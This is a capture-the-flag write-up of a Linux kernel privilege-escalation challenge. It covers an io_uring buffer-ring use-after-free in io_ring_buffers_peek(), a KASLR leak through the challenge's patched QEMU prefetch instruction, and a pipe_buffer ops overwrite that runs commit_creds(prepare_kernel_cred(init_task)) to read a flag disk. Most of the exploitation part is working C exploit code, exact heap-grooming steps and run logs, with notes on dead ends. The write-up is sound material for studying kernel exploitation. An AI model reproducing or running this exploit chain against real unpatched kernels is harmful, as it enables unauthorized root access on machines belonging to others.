TL;DR
Linux 7.2.0-rc3 ships an io_uring/kbuf.c bug where io_ring_buffers_peek() does kfree(arg->iovs) on the array it just filled instead of on the replaced array, while io_uring/net.c only refreshes kmsg->vec.iovec when a realloc actually happened, leaving a dangling iovec pointer parked in ctx->netmsg_cache. Reclaiming the freed chunk with a pipe_buffer[] and issuing a second bundled IORING_OP_SEND writes attacker-chosen (iov_base, iov_len) pairs directly over pipe_buffer[0].ops, so close() calls a userland pipe_buf_operations->release → commit_creds(prepare_kernel_cred(&init_task)) → root, then read the flag off /dev/sda.
01Recon
What was handed out
bug-where.tar.gz → bzImage, initramfs.cpio.gz, kernel.config, qemu-hardening.patch, Dockerfile, docker-compose.yml, app-run, hook.sh. Remote is a pwn.red/jail container; each TCP connection spawns a fresh QEMU:
qemu-system-x86_64 -m 128M -smp 2 -machine pc-i440fx-11.0,usb=off,vmport=off,acpi=on,smm=off \
-accel tcg,thread=single -global apic.vapic=off -nodefaults -no-user-config \
-display none -serial stdio -kernel /app/bzImage -initrd /app/initramfs.cpio.gz \
-append "console=ttyS0 quiet panic=-1 oops=panic kaslr" \
-drive "file=/tmp/flag.raw,format=raw,if=ide,index=1" -no-reboot -cpu qemu64 \
-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=denyThe flag is dd'd into the first sector of a 1 MB raw disk (mode 0600) attached as the only IDE disk → guest /dev/sda, brw------- root root. So the objective is uid 0 inside the guest, nothing more exotic.
init mounts proc/sysfs/devtmpfs + mqueue and exec s /drop_shell /bin/busybox sh -i. Disassembling drop_shell:main shows it loops prctl(PR_CAPBSET_DROP, i) for i = 0..0x28, then setgroups(0,NULL) and setres[gu]id(1337,1337,1337). Guest state confirmed by booting locally:
uid=1337 gid=1337 dmesg_restrict=1 kptr_restrict=0 perf_event_paranoid=2
/proc/kallsyms -> all zeros klogctl: Operation not permitted
CONFIG_USER_NS is not set CONFIG_MEMCG is not setKernel
strings bzImage → Linux version 7.2.0-rc3-round100 (ptr@fast-pwn)... #2 SMP PREEMPT_DYNAMIC Wed Jul 15 14:27:33 JST 2026. gzip-compressed vmlinux extracted at file offset 21188.
Notable config: RANDOMIZE_BASE, RANDOMIZE_MEMORY, STACKPROTECTOR_STRONG, RANDOMIZE_KSTACK_OFFSET, SLAB_FREELIST_RANDOM, SLAB_FREELIST_HARDENED, HARDENED_USERCOPY, X86_KERNEL_IBT, MITIGATION_PAGE_TABLE_ISOLATION, IO_URING=y, and crucially:
CONFIG_KMALLOC_PARTITION_CACHES=y
CONFIG_KMALLOC_PARTITION_RANDOM=yRuntime CPU reality under -cpu qemu64 is far weaker than the config suggests, guest /proc/cpuinfo flags contain no smep, no smap, meltdown: Not affected (PTI inactive; oops banners read SMP NOPTI). That makes plain ret2usr viable.
The QEMU patch is a gift, not a wall
Most of qemu-hardening.patch removes devices/boards and plugs switch_tss / lcall / ljmp gate paths with raise_exception_err_ra(EXCP0D_GPF...). But it also re-implements 0F 18 /r (PREFETCH), which upstream decodes as a NOP:
[0x18] = X86_OP_ENTRY1(PREFETCH, M,b),
...
void helper_prefetch(CPUX86State *env, target_ulong addr)
{
void *host; volatile unsigned delay = 0;
int mmu_idx = cpu_mmu_index_kernel(env);
(void)probe_access_flags(env, addr, 1, MMU_DATA_LOAD, mmu_idx, true, &host, GETPC());
if (host) __builtin_prefetch(host, 0, 0);
else for (unsigned i = 0; i < 256; i++) delay += i;
}A ring-3 instruction probes the address with the kernel MMU index and burns 256 iterations on a miss. That is a deterministic, noise-free EntryBleed-style KASLR oracle handed to userland.
Locating the bug ("Bug Where")
The image is stock v7.2-rc3 plus one unrelated cpuset backport (mpol_rebind_mm(mm, &cs- >effective_mems)), so the target is an n-day fixed between rc3 and 7.2 final. Approach: intersect the set of.c files actually compiled into this config (3324, from the rc3 build tree's.o files) with the set of files that changed rc3→final (1900) → 241 candidates, then read the io_uring ones. io_uring/kbuf.c was the hit.
Symbol offsets were recovered by rebuilding an initramfs with a root shell, booting the real bzImage with nokaslr, and dumping /proc/kallsyms (base 0xffffffff81000000):
commit_creds ffffffff812dcfd0 off=0x2dcfd0
prepare_kernel_cred ffffffff812dd280 off=0x2dd280
init_task ffffffff8300ca00 off=0x200ca0002The bug
Root cause: io_ring_buffers_peek() frees the wrong array
Vulnerable (7.2-rc3, io_uring/kbuf.c:331)
} while (--nr_iovs);
if (arg->mode & KBUF_MODE_FREE)
kfree(arg->iovs); /* frees the array it JUST FILLED */Fixed (7.2 final)
if (arg->iovs != org_iovs && (arg->mode & KBUF_MODE_FREE))
kfree(org_iovs); /* free the REPLACED array, and only then */Why the caller keeps the stale pointer
io_send_select_buffer() (io_uring/net.c:612..645) hands the cached vec back in and only writes it back when the pointer changed:
struct buf_sel_arg arg = { .iovs = &kmsg->fast_iov, .max_len = min_not_zero(sr->len, INT_MAX),
.nr_iovs = 1, .buf_group = sr->buf_group };
if (kmsg->vec.iovec) {
arg.nr_iovs = kmsg->vec.nr;
arg.iovs = kmsg->vec.iovec;
arg.mode = KBUF_MODE_FREE;
}
if (!(sr->flags & IORING_RECVSEND_BUNDLE)) arg.nr_iovs = 1;
else arg.mode |= KBUF_MODE_EXPAND;
ret = io_buffers_select(req, &arg, sel, issue_flags);
...
if (arg.iovs != &kmsg->fast_iov && arg.iovs != kmsg->vec.iovec) {
kmsg->vec.nr = ret;
kmsg->vec.iovec = arg.iovs; /* only refreshed on realloc */
req->flags |= REQ_F_NEED_CLEANUP;
}When nr_avail <= nr_iovs no realloc happens, so arg.iovs == kmsg->vec.iovec; the buggy kfree(arg- >iovs) frees exactly the buffer kmsg->vec.iovec still points at, and the refresh is skipped. io_netmsg_recycle() (net.c:167) then parks that io_async_msghdr, dangling vec included, in ctx- >netmsg_cache, because it only drops the vec when vec.nr > IO_VEC_CACHE_SOFT_CAP and that cap is 256 while vec.nr is 64. The next IORING_OP_SEND on the same ring pulls it straight back out.
Why one SQE frees it: bundle send is multishot
IORING_OP_SEND | IORING_RECVSEND_BUNDLE re-enters via goto retry_bundle, so a single SQE runs multiple io_ring_buffers_peek() calls. With 128 published 16-byte entries and sqe->len = 1024:
- peek #1: nr_avail = 1024/16 = 64 > nr_iovs = 1 → kmalloc_objs(struct iovec, 64) = 1024 bytes, kmsg->vec.iovec set, bl->head 0 → 64. No KBUF_MODE_FREE yet, no free.
- peek #2: arg.iovs = kmsg->vec.iovec, nr_iovs = 64, mode = FREE|EXPAND; nr_avail = 64 is not > 64 → no realloc → fill in place → kfree(arg->iovs) fires on the still-cached pointer. head == tail == 128 sets REQ_F_BL_EMPTY and ends the bundle.
The primitive
A later bundled send on that ring re-uses the cached msghdr and writes, into the freed chunk, one 16-byte (iov_base, iov_len) pair per published ring entry, fully attacker-controlled, at 16-byte stride, up to 64 entries, and then kfree() s the chunk again (a second free of memory that a live object now owns).
The real obstacle: randomized kmalloc partitions
CONFIG_KMALLOC_PARTITION_RANDOM creates 15 extra copies of each normal kmalloc cache (kmalloc- part-01-1k … kmalloc-part-15-1k) and picks one from _CODE_LOCATION_ XOR a per-boot random_kmalloc_seed:
#define KMALLOC_PARTITION_CACHES_NR 15
#define __kmalloc_token(...) ((kmalloc_token_t){ .v = _CODE_LOCATION_ })
#define _CODE_LOCATION_ ({ static const char __here; (unsigned long)&__here; })Consequences, all verified by reading /proc/slabinfo from a root shell across boots:
- Same call site ⇒ same partition, every time. Every allocation made from io_uring/kbuf.c:288 lands in the same cache, so the UAF, the write, and the re-own step are all deterministic.
- Different call sites ⇒ independent 1/16 chance of colliding. pipe->bufs comes from fs/pipe.c (kzalloc_objs(struct pipe_buffer, pipe_bufs, GFP_KERNEL_ACCOUNT)), a different site. Measured collision rate: 4/50 boots ≈ 1/16.
- CONFIG_MEMCG is not set ⇒ KMALLOC_CGROUP == KMALLOC_NORMAL, so GFP_KERNEL_ACCOUNT still goes down the partitioned path rather than into a separate accounted cache.
Size classes line up: 64 iovecs = 1024 B, and PIPE_DEF_BUFFERS(16) * sizeof(struct pipe_buffer)(40) = 640 B, both the 1k class.
Why pipe_buffer is the perfect victim
struct pipe_buffer { /* 40 bytes */
struct page *page; /* +0 */
unsigned int offset, len; /* +8, +12 */
const struct pipe_buf_operations *ops; /* +16 */
unsigned int flags; /* +24 */
unsigned long private; /* +32 */
};iovec[1].iov_base sits at offset +16, exactly pipe_buffer[0].ops. And iovec[3].iov_base at +48 overlays pipe_buffer[1].offset /.len, giving a free read-back oracle through ioctl(FIONREAD).
03Exploitation
- Break KASLR with the emulator's prefetch oracle. Probe 512 addresses at 2 MiB stride from
0xffffffff80000000, taking the minimum RDTSC delta over 32 0F 18 /r executions per slot. Threshold at (min+max)/2; the first slot below it is the KASLR-slid _text. Derive commit_creds = kbase+0x2dcfd0, prepare_kernel_cred = kbase+0x2dd280, init_task = kbase+0x200ca00. - Set up. sched_setaffinity to CPU 0 (deterministic SLUB per-cpu freelist). mmap a fake pipe_buf_operations at fixed address
0x11000000with all four function pointers (confirm, release, try_steal, get) set to a userlandpayload()that begins with endbr64 (IBT is configured on) and calls commit_creds(prepare_kernel_cred(init_task)). mmap a 64 KB scratch ubuf soaccess_ok()inside the peek loop always passes. - Create the dangling vec. io_uring_setup(32), socketpair(AF_UNIX, SOCK_DGRAM) with 2 MB SO_SNDBUF/SO_RCVBUF, IORING_REGISTER_PBUF_RING with 128 entries. Publish 128 entries of {addr = ubuf, len = 16} and submit one SQE: opcode = IORING_OP_SEND, flags = IOSQE_BUFFER_SELECT, ioprio = IORING_RECVSEND_BUNDLE, len = 1024, buf_group = bgid. The multishot bundle performs two peeks: the first kmallocs a 64-entry iovec array (1024 B) and caches it in kmsg->vec.iovec; the second fills it in place and hits kfree(arg->iovs).
io_netmsg_recycle()parks the msghdr, dangling vec and all, in ctx->netmsg_cache. Drain the socket with recvfrom(MSG_DONTWAIT). - Reclaim with a pipe_buffer[]. pipe2(fds, O_DIRECT) allocates pipe->bufs (16 × 40 = 640 B, 1k class), with luck (1/16) from the same partition as the freed iovec array. Arm it: two 1-byte writes (packet mode ⇒ one pipe_buffer each) and one 1-byte read, so at least one slot holds a page and a live ops.
- Write through the dangling vec. Publish 5 new ring entries on the same ring and submit another bundled IORING_OP_SEND with len = 65536:
IDX ADDR LEN LANDS ON
0 ubuf 16 pipe_buffer[0].page / .offset,.len
1 0x11000000 (fake ops) 16 pipe_buffer[0].ops
2 0 0 .private / next .page
3 0x777 << 32 0 pipe_buffer[1].offset = 0 , .len = 0x777
4 0 0 paddingio_send_select_buffer() pulls the cached msghdr, sees kmsg->vec.iovec!= NULL, sets mode = FREE| EXPAND, nr_iovs = 64; nr_avail = 5 so no realloc, and the fill loop writes those five (base,len) pairs straight into the live pipe_buffer array, then kfree() s it again.
- Confirm the collision. ioctl(pipe_rd, FIONREAD) sums the live buffer lengths. Reading back 1911 (
0x777) proves the freed chunk really is the pipe's pipe_buffer[] and that ops was overwritten. The exploit tries two victims per boot to double the odds to ~2/16: variant A a fresh pipe2(O_DIRECT) (allocated in alloc_pipe_info), variant B a pipe resized with fcntl(fd, F_SETPIPE_SZ /1031/, 65536), which re-allocates pipe->bufs from a different call site (pipe_resize_ring, fs/pipe.c:1398) and therefore rolls an independent partition. On a miss, print MISS and exit so the boot can be retried. - Neutralise the double free. The chunk is now on the freelist while the pipe still owns it,
close()wouldkfree()it a third time and trip SLAB_FREELIST_HARDENED. Fix: open a third io_uring ring and issue a 64-entry bundled send with no cached vec, so peek #1 takes the KBUF_MODE_EXPAND path and kmallocs 1024 B from the same io_uring/kbuf.c call site ⇒ the same partition, re-owning the chunk. The 64 published entries re-stamp ops = fake_ops and set the oracle field to0x555; FIONREAD == 1365 confirms the chunk is re-owned and still overlaps the pipe. - Fire. close(pipe_rd); close(pipe_wr) →
free_pipe_info()→pipe_buf_release()→ ops- >release(pipe, buf) → userlandpayload()(no SMEP/SMAP/PTI on -cpu qemu64) → commit_creds(prepare_kernel_cred(&init_task)). Back in userlandgetuid()returns 0. - Read the flag. open("
/dev/sda", O_RDONLY),read()511 bytes of sector 0, print.
Delivery to the remote
The guest has no network, so the binary has to be pasted over the serial console, and every connection is a fresh boot, i.e. a fresh 1/16 roll, so it has to be re-pasted on each attempt. A gcc -static -Os -s glibc build was 690 KB → 406 KB of base64, far too slow to retry. It was ported to raw syscall stubs and built -nostdlib -static -Os -fno-stack-protector -fno-asynchronous-unwind-tables: 9 KB → 3176 bytes of gzip+base64.
remote_drive.py then, per attempt: connect, readuntil(b"~ $", 55s), cd /tmp, upload in 7 lines of echo -n '<512 b64 chars>' >> b, base64 -d < b | gunzip > x; chmod +x x; echo UPOK, run./x, and classify on FLAG: / MISS / NOROOT. Workers were run 4-way in parallel since each connection gets its own VM.
04Results
Local (patched QEMU + real bzImage / initramfs, per-boot private flag disks): 2 flags in 15 boots ≈ 13%, matching the predicted 2/16.
[*] start uid=1337
[+] kbase=0xffffffff87c00000
[*] A=1911 <- 0x777 oracle: chunk overlaps pipe_buffer
HIT A
[*] reclaim=1365 <- 0x555: chunk re-owned, close() will survive
[*] closing
[*] pwned=1
[*] uid=0
[+] FLAG: BHFlagY{...}- tcp.flagyard.com:24301, landed on the first attempt (variant A) → BHFlagY{...}
- tcp.flagyard.com:25414, 9 connections (5 boot flakes, 4 reached a shell), attempt 5 hit variant B with kbase=
0xffffffff93a00000→ BHFlagY{...}
Key code /* MINI.c, core of the chain (nolibc; 9 KB static, 3176 B gzip+base64) * 425=io_uring_setup 426=io_uring_enter 427=io_uring_register * 53=socketpair 293=pipe2 72=fcntl 16=ioctl 45=recvfrom 3=close 2=open 0=read */ #define NENT 128 #define SIG1 0x0777UL #define SIG2 0x0555UL
/* one bundled SEND on the provided-buffer ring */
static int csend(struct ctx*c,u32 len){
struct io_uring_sqe*s=&c->r.sqes[(*c->r.sqt)&(*c->r.sqm)];
mset(s,0,sizeof *s);
s->opcode=IORING_OP_SEND; s->fd=c->sk[0]; s->flags=IOSQE_BUFFER_SELECT;
s->ioprio=IORING_RECVSEND_BUNDLE; s->len=len; s->buf_group=c->bgid;
__atomic_store_n(c->r.sqt,*c->r.sqt+1,__ATOMIC_RELEASE);
SYS4(426,c->r.fd,1,1,IORING_ENTER_GETEVENTS);
/* ... reap CQE, then drain the socketpair with MSG_DONTWAIT ... */
}
/* step 1: 128 x 16B entries + len=1024 -> multishot bundle does two peeks:
* peek#1 kmalloc(64 iovec = 1024B) and caches it in kmsg->vec.iovec
* peek#2 no realloc -> buggy kfree(arg->iovs) -> vec.iovec dangles
* io_netmsg_recycle() parks the msghdr in ctx->netmsg_cache */
static void make_dangling(struct ctx*c){
for(int i=0;i<NENT;i++) badd(c,(u64)ubuf,16);
bpub(c); csend(c,1024);
}
/* step 2: write (iov_base,iov_len) pairs into the freed chunk, which a
* pipe_buffer[16] now occupies. entry 1 -> +16 == pipe_buffer[0].ops,
* entry 3 -> +48 == pipe_buffer[1].{offset,len} (FIONREAD oracle) */
static void corrupt(struct ctx*c,u64 ops,u64 sig){
badd(c,(u64)ubuf,16); badd(c,ops,ops?16:0);
badd(c,0,0); badd(c,sig<<32,0); badd(c,0,0);
bpub(c); csend(c,65536);
}
/* step 3: fresh ring, no cached vec -> KBUF_MODE_EXPAND kmallocs 1024B from
* the SAME io_uring/kbuf.c call site == SAME random partition, re-owning the
* double-freed chunk so close() does not corrupt the freelist */
static void reclaim_keep(struct ctx*c,u64 ops,u64 sig){
badd(c,(u64)ubuf,16); badd(c,ops,16); badd(c,0,0); badd(c,sig<<32,0);
for(int i=4;i<64;i++) badd(c,0,0);
bpub(c); csend(c,65536);
}
__attribute__((used)) static void payload(void*p,void*b){(void)p;(void)b;
__asm__ __volatile__("endbr64");
cc_fn(pkc_fn((void*)it_addr)); pwned=1; /* commit_creds(prepare_kernel_cred(init_task)) */
}
void _start(void){
static u64 mask=1; SYS3(203,0,8,&mask); /* pin to CPU0 */
u64 kb=leak(); /* 0f 18 /r prefetch oracle */
cc_fn=(void*)(kb+0x2dcfd0); pkc_fn=(void*)(kb+0x2dd280); it_addr=kb+0x200ca00;
fops=mmap_((void*)0x11000000,0x2000,7,0x32,-1,0);
fops->confirm=fops->release=fops->try_steal=fops->get=(void*)payload;
ubuf=mmap_(0,0x10000,3,0x22,-1,0); mset(ubuf,'A',0x10000);
int pb[2],pa[2]; SYS2(293,pb,0x4000); /* pipe2(O_DIRECT) */
static struct ctx c1,c2,c3; int*win=0;
cinit(&c1,1); make_dangling(&c1);
SYS2(293,pa,0x4000); pipe_arm(pa); /* variant A: alloc_pipe_info */
corrupt(&c1,(u64)fops,SIG1);
if(fionread(pa[0])==(int)SIG1){win=pa;outs("HIT A\n");}
if(!win){ /* variant B: pipe_resize_ring */
cinit(&c2,2); make_dangling(&c2);
SYS3(72,pb[1],1031,16*4096); /* F_SETPIPE_SZ */
pipe_arm(pb); corrupt(&c2,(u64)fops,SIG1);
if(fionread(pb[0])==(int)SIG1){win=pb;outs("HIT B\n");}
}
if(!win){outs("MISS\n");SYS1(231,1);} /* lost the 1/16 roll -> retry boot */
cinit(&c3,3); reclaim_keep(&c3,(u64)fops,SIG2); /* expect FIONREAD == 0x555 */
SYS1(3,win[0]); SYS1(3,win[1]); /* free_pipe_info -> ops->release */
if(SYS0(102)==0){ /* getuid() == 0 */
int fd=(int)SYS3(2,"/dev/sda",0,0);
static char b[512]; long n=SYS3(0,fd,b,511);
outs("[+] FLAG: "); wr(1,b,n);
}
}WORKED FIRST TRY ON THE REMOTE
AFTER ONLY SIX HOURS OF THE WRONG ROOT CAUSE
05Dead ends
- Wrong root cause, insisted on for hours. The working hypothesis was a "ring-head off-by-64", that the crafted entries at index 0/1 were never being consumed because bl->head had advanced. Five independent analysis agents refuted it unanimously, one decisively with a buffer-ID oracle: stamping bid =
0x300on the crafted entry and observing the CQE come back bid = 768, res = 1024, proving the crafted entries were consumed. The actual mechanism is that IORING_RECVSEND_BUNDLE send is multishot (goto retry_bundle), so one SQE runs several peeks, head goes 0→64 (allocating) then 64→128 (filling, buggy kfree), ending at 128, and 128 & 127 == 0. The original geometry had been correct all along; the "fix" broke working code. - A "settled" size-class finding that was wrong. A slabinfo measurement appeared to show the 1024-byte iovec array landing in kmalloc-part-NN-2k while pipe->bufs landed in kmalloc-part-NN-1k, "different size classes, they can never collide". That drove a change to NR=32, which produced 0/96. The measurement was a misattribution; the 64-entry (1024 B) array is the geometry that works, and the size "fix" was solving a non-problem.
- Real reclaims dismissed as noise. An earlier build's 3/128 successful reclaims were written off as false positives. They were genuine hits.
- ~200 "failed attempts" that never ran. A batch runner used $D expecting shell state to persist between tool calls (it does not), and all boots shared one flag.raw write lock. Those runs never launched QEMU at all, nothing had regressed.
- Naive double-free → instant panic. Simply closing the pipe after the corrupting write frees the chunk a second time and trips SLAB_FREELIST_HARDENED. Solved by re-owning the chunk from the same io_uring/kbuf.c call site (guaranteed same partition by _CODE_LOCATION_) before
close().
- RIP =
0x4141414141414141. An early variant sprayed the whole write window with the ubuf fill pattern instead of placing the fake ops pointer at exactly +16; the ops slot got 'AAAAAAAA'. Fixed by mapping the fake pipe_buf_operations at a low fixed address (0x11000000) so it also fits the u32 that becomes iov_len, and by using the iovec[1].iov_base ↔ pipe_buffer[0].ops alignment deliberately.
access_ok()EFAULT path. A probe using an invalid iov_base returned -14; note the fill loop stores iov->iov_base before the check, so the write still lands while the error path skips the second kfree, a strictly better primitive in some variants, but the final exploit keeps all pointers valid.- Self-inflicted remote regression. After the first flag, the prompt-wait in
remote_drive.pywas cut from 45 s to 22 s to "fail boot flakes faster". All 21 subsequent attempts reported no shell, the remote simply needs longer than 22 s to reach a prompt. That instance (:23642) was torn down before
the timeout was restored to 55 s, losing that flag permanently. Immediately after the restore, attempt 4 on the next instance reached a shell. • Payload size. A -static glibc build (690 KB → 406 KB base64) is unusable when the binary must be re-pasted over a serial console on every 1/16 retry. Rewriting against raw syscalls with -nostdlib -Os cut it to 9 KB (3176 B base64, 7 echo lines). • Environmental noise to filter out: MP-BIOS 8254 timer not connected boot panics under CPU contention (local 16-way parallel QEMU, and a loaded remote host), broken qemu-bundle BIOS symlinks requiring -L.../qemu/pc-bios, and a full /tmp tmpfs after unpacking two kernel trees.